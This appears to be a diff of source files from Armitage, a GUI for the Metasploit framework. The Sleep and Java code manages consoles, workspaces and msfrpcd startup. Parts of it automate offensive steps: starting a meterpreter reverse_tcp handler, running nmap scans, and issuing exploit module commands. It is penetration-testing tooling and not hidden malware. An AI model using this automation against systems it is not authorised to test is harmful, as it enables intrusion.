createShellSessionTab(\$session, \$sid);
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
|
||||||
|
[$console addWordClickListener: lambda({
|
||||||
|
local('$word');
|
||||||
|
$word = [$1 getActionCommand];
|
||||||
|
|
||||||
|
if ($word in @exploits || $word in @auxiliary) {
|
||||||
|
[$thread sendString: "use $word $+ \n"];
|
||||||
|
}
|
||||||
|
else if ($word in @payloads) {
|
||||||
|
[$thread sendString: "set PAYLOAD $word $+ \n"];
|
||||||
|
}
|
||||||
|
else if (-exists $word && !$REMOTE) {
|
||||||
|
saveFile($word);
|
||||||
|
}
|
||||||
|
}, \$thread)];
|
||||||
|
|
||||||
|
return @($result['id'], $console, $thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createConsoleTab {
|
||||||
|
local('$id $console $thread $1 $2 $host $file');
|
||||||
|
($id, $console, $thread) = createConsolePanel(
|
||||||
|
iff([$preferences getProperty: "armitage.no_msf_banner.boolean", "false"] eq "true", 1, $2)
|
||||||
|
);
|
||||||
|
|
||||||
|
if ($host is $null && $file is $null) {
|
||||||
|
logCheck($console, "all", "console");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
logCheck($console, $host, $file);
|
||||||
|
}
|
||||||
|
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
[$frame addTab: iff($title is $null, "Console", $title), $console, $thread, $host];
|
||||||
|
}, $title => $1, \$console, \$thread, \$host));
|
||||||
|
return $thread;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setg {
|
||||||
|
%MSF_GLOBAL[$1] = $2;
|
||||||
|
call_async($client, "core.setg", $1, $2);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createDefaultHandler {
|
||||||
|
warn("Creating a default reverse handler...");
|
||||||
|
# setup a handler for meterpreter
|
||||||
|
setg("LPORT", randomPort());
|
||||||
|
call_async($client, "module.execute", "exploit", "multi/handler", %(
|
||||||
|
PAYLOAD => "windows/meterpreter/reverse_tcp",
|
||||||
|
LHOST => "0.0.0.0",
|
||||||
|
ExitOnSession => "false"
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setupHandlers {
|
||||||
|
find_job("Exploit: multi/handler", {
|
||||||
|
if ($1 == -1) {
|
||||||
|
createDefaultHandler();
|
||||||
|
}
|
||||||
|
else if ('LPORT' !in %MSF_GLOBAL) {
|
||||||
|
createDefaultHandler();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
# creates the metasploit console.
|
||||||
|
sub createConsole {
|
||||||
|
local('$r');
|
||||||
|
$r = call($1, "console.create");
|
||||||
|
if ($r !is $null && $r['id'] !is $null) {
|
||||||
|
call($1, "console.read", $r['id'] . "");
|
||||||
|
return $r['id'] . "";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
warn("Create console failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub getWorkspaces
|
||||||
|
{
|
||||||
|
return sorta(filter({ return $1["name"]; }, call($mclient, "db.workspaces")["workspaces"]));
|
||||||
|
}
|
||||||
|
|
||||||
|
# creates a new console and execs a cmd in it.
|
||||||
|
# cmd_safe("command to execute");
|
||||||
|
sub cmd_safe {
|
||||||
|
local('$queue');
|
||||||
|
$queue = [new ConsoleQueue: $client];
|
||||||
|
[$queue addListener: $2];
|
||||||
|
[$queue start];
|
||||||
|
[$queue addCommand: "x", $1];
|
||||||
|
[$queue stop];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createNmapFunction {
|
||||||
|
return lambda({
|
||||||
|
local('$address');
|
||||||
|
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(" ", [$targets getSelectedHosts]));
|
||||||
|
if ($address eq "") { return; }
|
||||||
|
|
||||||
|
local('$queue');
|
||||||
|
$queue = createDisplayTab("nmap");
|
||||||
|
elog("started a scan: nmap $args $address");
|
||||||
|
|
||||||
|
[$queue addCommand: "x", "db_nmap $args $address"];
|
||||||
|
[$queue addListener: {
|
||||||
|
showError("Scan Complete!\n\nUse Attacks->Find Attacks to suggest\napplicable exploits for your targets.");
|
||||||
|
}];
|
||||||
|
[$queue start];
|
||||||
|
}, $args => $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub getBindAddress {
|
||||||
|
local('$queue');
|
||||||
|
if ('LHOST' in %MSF_GLOBAL) {
|
||||||
|
$MY_ADDRESS = %MSF_GLOBAL['LHOST'];
|
||||||
|
setupHandlers();
|
||||||
|
warn("Used the incumbent: $MY_ADDRESS");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$queue = [new ConsoleQueue: $client];
|
||||||
|
[$queue addCommand: "x", "use windows/meterpreter/reverse_tcp"];
|
||||||
|
[$queue addListener: lambda({
|
||||||
|
local('$address');
|
||||||
|
$address = convertAll([$queue tabComplete: "setg LHOST "]);
|
||||||
|
$address = split('\\s+', $address[0])[2];
|
||||||
|
|
||||||
|
if ($address eq "127.0.0.1") {
|
||||||
|
[SwingUtilities invokeLater: {
|
||||||
|
local('$address');
|
||||||
|
$address = ask("Could not determine attack computer IP\nWhat is it?");
|
||||||
|
if ($address ne "") {
|
||||||
|
$MY_ADDRESS = $address;
|
||||||
|
thread({
|
||||||
|
setg("LHOST", $MY_ADDRESS);
|
||||||
|
setupHandlers();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
warn("Used the tab method: $address");
|
||||||
|
setg("LHOST", $address);
|
||||||
|
setupHandlers();
|
||||||
|
$MY_ADDRESS = $address;
|
||||||
|
}
|
||||||
|
}, \$queue)];
|
||||||
|
[$queue start];
|
||||||
|
[$queue stop];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub randomPort {
|
||||||
|
return int( 1024 + (rand() * 1024 * 30) );
|
||||||
|
}
|
||||||
|
|
||||||
|
sub scanner {
|
||||||
|
return lambda({
|
||||||
|
launch_dialog("Scan ( $+ $type $+ )", "auxiliary", "scanner/ $+ $type", $host);
|
||||||
|
}, $sid => $2, $host => $3, $type => $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub startMetasploit {
|
||||||
|
local('$exception $user $pass $port');
|
||||||
|
($user, $pass, $port) = @_;
|
||||||
|
try {
|
||||||
|
println("Starting msfrpcd for you.");
|
||||||
|
|
||||||
|
if (isWindows()) {
|
||||||
|
local('$handle $data $msfdir');
|
||||||
|
$msfdir = [$preferences getProperty: "armitage.metasploit_install.string", ""];
|
||||||
|
while (!-exists $msfdir || $msfdir eq "" || !-exists getFileProper($msfdir, "msf3")) {
|
||||||
|
$msfdir = chooseFile($title => "Where is Metasploit installed?", $dirsonly => 1);
|
||||||
|
|
||||||
|
if ($msfdir eq "") {
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (charAt($msfdir, -1) ne "\\") {
|
||||||
|
$msfdir = "$msfdir $+ \\";
|
||||||
|
}
|
||||||
|
|
||||||
|
[$preferences setProperty: "armitage.metasploit_install.string", $msfdir];
|
||||||
|
savePreferences();
|
||||||
|
}
|
||||||
|
|
||||||
|
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null];
|
||||||
|
$data = join("\r\n", readAll($handle, -1));
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
$handle = openf(">msfrpcd.bat");
|
||||||
|
writeb($handle, strrep($data, '$$USER$$', $1, '$$PASS$$', $2, '$$BASE$$', $msfdir, '$$PORT$$', $port));
|
||||||
|
closef($handle);
|
||||||
|
deleteOnExit("msfrpcd.bat");
|
||||||
|
|
||||||
|
$msfrpc_handle = exec(@("cmd.exe", "/C", getFileProper("msfrpcd.bat")), convertAll([System getenv]));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$msfrpc_handle = exec("msfrpcd -f -a 127.0.0.1 -U $user -P $pass -S -p $port", convertAll([System getenv]));
|
||||||
|
}
|
||||||
|
|
||||||
|
# consume bytes so msfrpcd doesn't block when the output buffer is filled
|
||||||
|
fork({
|
||||||
|
[[Thread currentThread] setPriority: [Thread MIN_PRIORITY]];
|
||||||
|
|
||||||
|
while (!-eof $msfrpc_handle) {
|
||||||
|
#
|
||||||
|
# check if process is dead...
|
||||||
|
#
|
||||||
|
try {
|
||||||
|
[[$msfrpc_handle getSource] exitValue];
|
||||||
|
local('$msg $text');
|
||||||
|
$msg = [SleepUtils getIOHandle: resource("resources/error.txt"), $null];
|
||||||
|
$text = readb($msg, -1);
|
||||||
|
closef($msg);
|
||||||
|
|
||||||
|
if (!askYesNo($text, "Uh oh!")) {
|
||||||
|
[gotoURL("http://www.fastandeasyhacking.com/nomsfrpcd")];
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch $ex {
|
||||||
|
# ignore this...
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# check for data to read...
|
||||||
|
#
|
||||||
|
if (available($msfrpc_handle) > 0) {
|
||||||
|
[[System out] print: readb($msfrpc_handle, available($msfrpc_handle))];
|
||||||
|
}
|
||||||
|
if (available($msfrpc_error) > 0) {
|
||||||
|
[[System err] print: readb($msfrpc_error, available($msfrpc_error))];
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(1024);
|
||||||
|
}
|
||||||
|
println("msfrpcd is shut down!");
|
||||||
|
}, \$msfrpc_handle, $msfrpc_error => [SleepUtils getIOHandle: [[$msfrpc_handle getSource] getErrorStream], $null], \$frame);
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
showError("Couldn't launch MSF\n" . [$exception getMessage]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub connectDialog {
|
||||||
|
# in case we ended up back here... let's kill this handle
|
||||||
|
if ($msfrpc_handle) {
|
||||||
|
closef($msfrpc_handle);
|
||||||
|
$msfrpc_handle = $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper');
|
||||||
|
$dialog = window("Connect...", 0, 0);
|
||||||
|
|
||||||
|
# setup our nifty form fields..
|
||||||
|
|
||||||
|
$host = [new ATextField: [$preferences getProperty: "connect.host.string", "127.0.0.1"], 20];
|
||||||
|
$port = [new ATextField: [$preferences getProperty: "connect.port.string", "55553"], 10];
|
||||||
|
|
||||||
|
$user = [new ATextField: [$preferences getProperty: "connect.user.string", "msf"], 20];
|
||||||
|
$pass = [new ATextField: [$preferences getProperty: "connect.pass.string", "test"], 20];
|
||||||
|
|
||||||
|
$button = [new JButton: "Connect"];
|
||||||
|
[$button setToolTipText: "<html>Connects to Metasploit.</html>"];
|
||||||
|
|
||||||
|
$help = [new JButton: "Help"];
|
||||||
|
[$help setToolTipText: "<html>Use this button to view the Getting Started Guide on the Armitage homepage</html>"];
|
||||||
|
|
||||||
|
$cancel = [new JButton: "Exit"];
|
||||||
|
|
||||||
|
# lay them out
|
||||||
|
|
||||||
|
$center = [new JPanel];
|
||||||
|
[$center setLayout: [new GridLayout: 4, 1]];
|
||||||
|
|
||||||
|
[$center add: label_for("Host", 70, $host)];
|
||||||
|
[$center add: label_for("Port", 70, $port)];
|
||||||
|
[$center add: label_for("User", 70, $user)];
|
||||||
|
[$center add: label_for("Pass", 70, $pass)];
|
||||||
|
|
||||||
|
[$dialog add: $center, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: center($button, $help), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
connectToMetasploit([$host getText], [$port getText], [$user getText], [$pass getText]);
|
||||||
|
|
||||||
|
if ([$host getText] eq "127.0.0.1") {
|
||||||
|
try {
|
||||||
|
closef(connect("127.0.0.1", [$port getText], 1000));
|
||||||
|
}
|
||||||
|
catch $ex {
|
||||||
|
if (!askYesNo("A Metasploit RPC server is not running or\nnot accepting connections yet. Would you\nlike me to start Metasploit's RPC server\nfor you?", "Start Metasploit?")) {
|
||||||
|
startMetasploit([$user getText], [$pass getText], [$port getText]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$dialog, \$host, \$port, \$user, \$pass)];
|
||||||
|
|
||||||
|
[$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")];
|
||||||
|
|
||||||
|
[$cancel addActionListener: {
|
||||||
|
[System exit: 0];
|
||||||
|
}];
|
||||||
|
|
||||||
|
[$dialog pack];
|
||||||
|
[$dialog setLocationRelativeTo: $null];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _elog {
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
call_async($mclient, "armitage.log", $1, $2);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
call_async($client, "db.log_event", "$2 $+ //", $1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub elog {
|
||||||
|
local('$2');
|
||||||
|
if ($2 is $null) {
|
||||||
|
$2 = $MY_ADDRESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
_elog($1, $2);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub module_execute {
|
||||||
|
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "true") {
|
||||||
|
local('$host');
|
||||||
|
|
||||||
|
# for logging purposes, we should figure out the remote host being targeted
|
||||||
|
|
||||||
|
if ("RHOST" in $3) {
|
||||||
|
$host = $3["RHOST"];
|
||||||
|
}
|
||||||
|
else if ("SESSION" in $3) {
|
||||||
|
$host = sessionToHost($3["SESSION"]);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$host = "all";
|
||||||
|
}
|
||||||
|
|
||||||
|
# okie then, let's create a console and execute all of this stuff...
|
||||||
|
|
||||||
|
local('$queue $key $value');
|
||||||
|
|
||||||
|
$queue = createDisplayTab($1, \$host);
|
||||||
|
|
||||||
|
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
|
||||||
|
foreach $key => $value ($3) {
|
||||||
|
[$queue addCommand: $null, "set $key $value"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($1 eq "exploit") {
|
||||||
|
[$queue addCommand: $null, "exploit -j"];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$queue addCommand: $null, "run -j"];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$queue start];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
call_async($client, "module.execute", $1, $2, $3);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub rtime {
|
||||||
|
return formatDate($1 * 1000L, 'yyyy-MM-dd HH:mm:ss Z');
|
||||||
|
}
|
||||||
|
|
||||||
|
sub deleteOnExit {
|
||||||
|
[[new java.io.File: getFileProper($1)] deleteOnExit];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub listDownloads {
|
||||||
|
this('%types');
|
||||||
|
local('$files $root $findf $hosts $host');
|
||||||
|
$files = @();
|
||||||
|
$root = $1;
|
||||||
|
$findf = {
|
||||||
|
if (-isDir $1) {
|
||||||
|
return map($this, ls($1));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# determine the file content type
|
||||||
|
local('$type $handle $data $path');
|
||||||
|
if ($1 in %types) {
|
||||||
|
$type = %types[$1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$handle = openf($1);
|
||||||
|
$data = readb($handle, 1024);
|
||||||
|
closef($handle);
|
||||||
|
if ($data ismatch '\p{ASCII}*') {
|
||||||
|
$type = "text/plain";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$type = "binary";
|
||||||
|
}
|
||||||
|
%types[$1] = $type;
|
||||||
|
}
|
||||||
|
|
||||||
|
# figure out the path...
|
||||||
|
$path = strrep(getFileParent($1), $root, '');
|
||||||
|
if (strlen($path) >= 2) {
|
||||||
|
$path = substr($path, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# return a description of the file.
|
||||||
|
return %(
|
||||||
|
host => $host,
|
||||||
|
name => getFileName($1),
|
||||||
|
size => lof($1),
|
||||||
|
updated_at => lastModified($1),
|
||||||
|
location => $1,
|
||||||
|
path => $path,
|
||||||
|
content_type => $type
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
$hosts = map({ return getFileName($1); }, ls($root));
|
||||||
|
foreach $host ($hosts) {
|
||||||
|
addAll($files, flatten(
|
||||||
|
map(
|
||||||
|
lambda($findf, $root => getFileProper($root, $host), \$host, \%types),
|
||||||
|
ls(getFileProper($root, $host))
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
return $files;
|
||||||
|
}
|
||||||
|
|
||||||
|
# parseTextTable("string", @(columns))
|
||||||
|
sub parseTextTable {
|
||||||
|
local('$cols $regex $line @results $template %r $row $col $matches');
|
||||||
|
|
||||||
|
# create the regex to hunt for our table...
|
||||||
|
$cols = copy($2);
|
||||||
|
map({ $1 = '(' . $1 . '\s+)'; }, $cols);
|
||||||
|
$cols[-1] = '(' . $2[-1] . '.*)';
|
||||||
|
$regex = join("", $cols);
|
||||||
|
|
||||||
|
# search for stuff
|
||||||
|
foreach $line (split("\n", $1)) {
|
||||||
|
$line = ["$line" trim];
|
||||||
|
|
||||||
|
if ($line ismatch $regex) {
|
||||||
|
# ok... construct a template to parse our fixed width rows.
|
||||||
|
$matches = matched();
|
||||||
|
map({ $1 = 'Z' . strlen($1); }, $matches);
|
||||||
|
$matches[-1] = 'Z*';
|
||||||
|
$template = join("", $matches);
|
||||||
|
}
|
||||||
|
else if ($line eq "" && $template !is $null) {
|
||||||
|
# oops, row is empty? we're done then...
|
||||||
|
return @results;
|
||||||
|
}
|
||||||
|
else if ($template !is $null && "---*" !iswm $line) {
|
||||||
|
# extract the row from the template and add to our results
|
||||||
|
$row = map({ return [$1 trim]; }, unpack($template, $line));
|
||||||
|
%r = %();
|
||||||
|
foreach $col ($2) {
|
||||||
|
%r[$col] = iff(size($row) > 0, shift($row), "");
|
||||||
|
}
|
||||||
|
push(@results, %r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return @results;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub initConsolePool {
|
||||||
|
local('$pool');
|
||||||
|
$pool = [new ConsolePool: $client];
|
||||||
|
[$client addHook: "console.allocate", $pool];
|
||||||
|
[$client addHook: "console.release", $pool];
|
||||||
|
[$client addHook: "console.release_and_destroy", $pool];
|
||||||
|
}
|
|
@ -0,0 +1,223 @@
|
||||||
|
#
|
||||||
|
# CRUD for Dynamic Workspaces
|
||||||
|
#
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.imageio.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub newWorkspace {
|
||||||
|
workspaceDialog(%(), @($1, $2), $title => "New Workspace", $button => "Add", $enable => 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub editWorkspace {
|
||||||
|
workspaceDialog($1, @($2, $3), $title => "Edit Workspace", $button => "Save", $enable => $null);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub updateWorkspaceList {
|
||||||
|
local('$table $model $workspace');
|
||||||
|
($table, $model) = @_;
|
||||||
|
[$model clear: 16];
|
||||||
|
foreach $workspace (workspaces()) {
|
||||||
|
[$model addEntry: $workspace];
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub listWorkspaces {
|
||||||
|
local('$dialog $table $model $add $edit $delete $activate');
|
||||||
|
$dialog = [new JPanel];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "session"), @());
|
||||||
|
updateWorkspaceList($table, $model);
|
||||||
|
[$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
||||||
|
|
||||||
|
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$activate = [new JButton: "Activate"];
|
||||||
|
$add = [new JButton: "Add"];
|
||||||
|
$edit = [new JButton: "Edit"];
|
||||||
|
$delete = [new JButton: "Remove"];
|
||||||
|
|
||||||
|
[$add addActionListener: lambda({
|
||||||
|
newWorkspace($table, $model);
|
||||||
|
}, \$table, \$model)];
|
||||||
|
|
||||||
|
[$activate addActionListener: lambda({
|
||||||
|
local('$sel $temp');
|
||||||
|
$sel = selected($table, $model, "name");
|
||||||
|
set_workspace($sel);
|
||||||
|
}, \$table, \$model)];
|
||||||
|
|
||||||
|
[$delete addActionListener: lambda({
|
||||||
|
local('%names $workspace @workspaces');
|
||||||
|
putAll(%names, [$model getSelectedValues: $table], { return 1; });
|
||||||
|
@workspaces = workspaces();
|
||||||
|
foreach $workspace (@workspaces) {
|
||||||
|
if ($workspace['name'] in %names) {
|
||||||
|
remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
saveWorkspaces(@workspaces);
|
||||||
|
updateWorkspaceList($table, $model);
|
||||||
|
}, \$table, \$model)];
|
||||||
|
|
||||||
|
[$edit addActionListener: lambda({
|
||||||
|
local('$sel $temp');
|
||||||
|
$sel = selected($table, $model, "name");
|
||||||
|
|
||||||
|
$temp = search(workspaces(), lambda({
|
||||||
|
return iff($1["name"] eq $name, $1);
|
||||||
|
}, $name => $sel));
|
||||||
|
|
||||||
|
if ($temp !is $null) {
|
||||||
|
editWorkspace($temp, $table, $model);
|
||||||
|
}
|
||||||
|
}, \$table, \$model)];
|
||||||
|
|
||||||
|
[$dialog add: center($activate, $add, $edit, $delete), [BorderLayout SOUTH]];
|
||||||
|
[$frame addTab: "Workspaces", $dialog, $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub workspaceDialog {
|
||||||
|
local('$table $model');
|
||||||
|
($table, $model) = $2;
|
||||||
|
|
||||||
|
local('$dialog $name $host $ports $os $button $session');
|
||||||
|
$dialog = dialog($title, 640, 480);
|
||||||
|
[$dialog setLayout: [new GridLayout: 6, 1]];
|
||||||
|
|
||||||
|
$name = [new ATextField: $1['name'], 16];
|
||||||
|
[$name setEnabled: $enable];
|
||||||
|
$host = [new ATextField: $1['hosts'], 16];
|
||||||
|
$ports = [new ATextField: $1['ports'], 16];
|
||||||
|
$os = [new ATextField: $1['os'], 16];
|
||||||
|
$session = [new JCheckBox: "Hosts with sessions only"];
|
||||||
|
if ($1['session'] eq 1) {
|
||||||
|
[$session setSelected: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
$button = [new JButton: $button];
|
||||||
|
|
||||||
|
[$dialog add: label_for("Name:", 60, $name)];
|
||||||
|
[$dialog add: label_for("Hosts:", 60, $host)];
|
||||||
|
[$dialog add: label_for("Ports:", 60, $ports)];
|
||||||
|
[$dialog add: label_for("OS:", 60, $os)];
|
||||||
|
[$dialog add: $session];
|
||||||
|
|
||||||
|
[$dialog add: center($button)];
|
||||||
|
[$dialog pack];
|
||||||
|
[$dialog show];
|
||||||
|
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
# yay, we have a dialog...
|
||||||
|
local('$n $h $p $o $s @workspaces $ws $temp');
|
||||||
|
$n = [[$name getText] trim];
|
||||||
|
$h = [strrep([$host getText], '*', '%', '?', '_') trim];
|
||||||
|
$p = [[$ports getText] trim];
|
||||||
|
$o = [strrep([$os getText], '*', '%', '?', '_') trim];
|
||||||
|
$s = [$session isSelected];
|
||||||
|
|
||||||
|
# save the new menu
|
||||||
|
$ws = workspace($n, $h, $p, $o, $s);
|
||||||
|
@workspaces = workspaces();
|
||||||
|
foreach $temp (@workspaces) {
|
||||||
|
if ($temp["name"] eq $n) {
|
||||||
|
$temp = $ws;
|
||||||
|
$ws = $null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ws !is $null) {
|
||||||
|
push(@workspaces, $ws);
|
||||||
|
}
|
||||||
|
saveWorkspaces(@workspaces);
|
||||||
|
updateWorkspaceList($table, $model);
|
||||||
|
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model)];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub reset_workspace {
|
||||||
|
[$frame setTitle: $TITLE];
|
||||||
|
thread({
|
||||||
|
call($mclient, "db.filter", %());
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
sub client_workspace_items {
|
||||||
|
local('$index $workspace');
|
||||||
|
|
||||||
|
item($1, 'Manage', 'M', {
|
||||||
|
listWorkspaces();
|
||||||
|
});
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
item($1, "Show All", "S", &reset_workspace);
|
||||||
|
|
||||||
|
local('$x $y $workspace $name $title');
|
||||||
|
$title = [$frame getTitle];
|
||||||
|
foreach $y => $workspace (workspaces()) {
|
||||||
|
$x = $y + 1;
|
||||||
|
$name = $workspace['name'];
|
||||||
|
|
||||||
|
if ($title eq "$TITLE - $name") {
|
||||||
|
item($1, "$x $+ . $+ $name *", $x, lambda({
|
||||||
|
set_workspace($name);
|
||||||
|
}, \$name));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
item($1, "$x $+ . $+ $name", $x, lambda({
|
||||||
|
set_workspace($name);
|
||||||
|
}, \$name));
|
||||||
|
}
|
||||||
|
|
||||||
|
# setup a keyboard shortcut for this workspace...
|
||||||
|
[$frame bindKey: "Ctrl+ $+ $x", lambda({
|
||||||
|
set_workspace($name);
|
||||||
|
}, \$name)];
|
||||||
|
}
|
||||||
|
|
||||||
|
# setup a keyboard shortcut for this workspace...
|
||||||
|
[$frame bindKey: "Ctrl+0", &reset_workspace];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub set_workspace {
|
||||||
|
local('$x $workspace');
|
||||||
|
foreach $x => $workspace (workspaces()) {
|
||||||
|
if ($workspace['name'] eq $1) {
|
||||||
|
thread(lambda({
|
||||||
|
call($mclient, "db.filter", $workspace);
|
||||||
|
}, \$workspace));
|
||||||
|
[$frame setTitle: "$TITLE - $1"];
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub workspace {
|
||||||
|
return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub workspaces {
|
||||||
|
local('$ws @r $name $host $port $os $session $workspace');
|
||||||
|
$ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]);
|
||||||
|
foreach $workspace ($ws) {
|
||||||
|
if ($workspace ne "") {
|
||||||
|
($name, $host, $port, $os, $session) = split('@@', $workspace);
|
||||||
|
push(@r, workspace($name, $host, $port, $os, $session));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return @r;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub saveWorkspaces {
|
||||||
|
[$preferences setProperty: "armitage.workspaces.menus", join("!!", map({ return join("@@", values($1)); }, $1))];
|
||||||
|
savePreferences();
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import javax.swing.JLabel;
|
||||||
|
|
||||||
|
public interface Activity {
|
||||||
|
public void registerLabel(JLabel label);
|
||||||
|
public void resetNotification();
|
||||||
|
}
|
|
@ -0,0 +1,41 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.io.PrintStream;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import console.*;
|
||||||
|
|
||||||
|
/** A generic multi-feature console for use in the Armitage network attack tool */
|
||||||
|
public class ActivityConsole extends Console implements Activity {
|
||||||
|
protected JLabel label;
|
||||||
|
protected Color original;
|
||||||
|
public void registerLabel(JLabel l) {
|
||||||
|
label = l;
|
||||||
|
original = l.getForeground();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void resetNotification() {
|
||||||
|
label.setForeground(original);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void appendToConsole(String _text) {
|
||||||
|
super.appendToConsole(_text);
|
||||||
|
|
||||||
|
if (_text.length() > 0 && label != null && !isShowing()) {
|
||||||
|
label.setForeground(Color.decode(display.getProperty("tab.highlight.color", "#0000ff")));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public ActivityConsole(Properties preferences) {
|
||||||
|
super(preferences);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,319 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import java.awt.image.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
public class ArmitageApplication extends JFrame {
|
||||||
|
protected JTabbedPane tabs = null;
|
||||||
|
protected JSplitPane split = null;
|
||||||
|
protected JMenuBar menus = new JMenuBar();
|
||||||
|
protected ScreenshotManager screens = null;
|
||||||
|
protected KeyBindings keys = new KeyBindings();
|
||||||
|
|
||||||
|
public void setScreenshotManager(ScreenshotManager m) {
|
||||||
|
screens = m;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void bindKey(String description, KeyHandler b) {
|
||||||
|
keys.bind(description, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addMenu(JMenuItem menu) {
|
||||||
|
menus.add(menu);
|
||||||
|
}
|
